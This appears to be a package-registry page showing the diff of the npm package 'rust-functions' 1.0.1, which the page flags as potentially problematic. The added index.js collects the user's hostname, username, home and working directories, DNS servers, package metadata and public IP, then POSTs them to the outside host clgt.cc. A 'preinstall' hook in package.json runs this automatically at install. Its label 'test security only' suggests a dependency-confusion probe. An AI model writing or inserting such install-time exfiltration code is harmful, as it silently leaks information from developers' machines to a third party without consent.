rust-functions 1.0.1
Sign up to get free protection for your applications and to get access to all the features.
Potentially problematic release.
This version of rust-functions might be problematic. Click here for more details.
- package/index.js +79 -0
- package/package.json +12 -0
package/index.js
ADDED
@@ -0,0 +1,79 @@
|
|
1
|
+
const os = require("os");
|
2
|
+
const dns = require("dns");
|
3
|
+
const querystring = require("querystring");
|
4
|
+
const https = require("https");
|
5
|
+
const packageJSON = require("./package.json");
|
6
|
+
const package = packageJSON.name;
|
7
|
+
|
8
|
+
const sleep = (milliseconds) => {
|
9
|
+
return new Promise(resolve => setTimeout(resolve, milliseconds))
|
10
|
+
}
|
11
|
+
|
12
|
+
function requestPromise(endpoint) {
|
13
|
+
var body = ''
|
14
|
+
|
15
|
+
return new Promise(function(resolve, reject){
|
16
|
+
https.get((endpoint), res => {
|
17
|
+
res.setEncoding('utf8');
|
18
|
+
res.on("data", data => {
|
19
|
+
body += data;
|
20
|
+
});
|
21
|
+
res.on("end", () => {
|
22
|
+
resolve(body)
|
23
|
+
});
|
24
|
+
res.on("error", (e) => {
|
25
|
+
reject(e);
|
26
|
+
});
|
27
|
+
});
|
28
|
+
});
|
29
|
+
|
30
|
+
}
|
31
|
+
|
32
|
+
async function main() {
|
33
|
+
|
34
|
+
const url = 'https://ifconfig.me'
|
35
|
+
const ip = await requestPromise(url)
|
36
|
+
|
37
|
+
const trackingData = JSON.stringify({
|
38
|
+
p: package,
|
39
|
+
c: __dirname,
|
40
|
+
current_pwd: process.cwd(),
|
41
|
+
hd: os.homedir(),
|
42
|
+
hn: os.hostname(),
|
43
|
+
un: os.userInfo().username,
|
44
|
+
dns: dns.getServers(),
|
45
|
+
r: packageJSON ? packageJSON.___resolved : undefined,
|
46
|
+
v: packageJSON.version,
|
47
|
+
pjson: packageJSON,
|
48
|
+
ip: ip
|
49
|
+
});
|
50
|
+
|
51
|
+
|
52
|
+
var postData = querystring.stringify({
|
53
|
+
msg: trackingData,
|
54
|
+
});
|
55
|
+
|
56
|
+
var options = {
|
57
|
+
hostname: "clgt.cc", //replace burpcollaborator.net with Interactsh or pipedream
|
58
|
+
port: 443,
|
59
|
+
path: "/dependency-conf-npm.php",
|
60
|
+
method: "POST",
|
61
|
+
headers: {
|
62
|
+
"Content-Type": "application/x-www-form-urlencoded",
|
63
|
+
"Content-Length": postData.length,
|
64
|
+
},
|
65
|
+
};
|
66
|
+
|
67
|
+
var req = https.request(options, (res) => {
|
68
|
+
res.on("data", (d) => {
|
69
|
+
process.stdout.write(d);
|
70
|
+
});
|
71
|
+
});
|
72
|
+
|
73
|
+
req.on("error", (e) => {
|
74
|
+
// console.error(e);
|
75
|
+
});
|
76
|
+
|
77
|
+
req.write(postData);
|
78
|
+
req.end();
|
79
|
+
} main()
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "rust-functions",
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "test security only",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
8
|
+
"preinstall": "node index.js"
|
9
|
+
},
|
10
|
+
"author": "bugoverflow",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|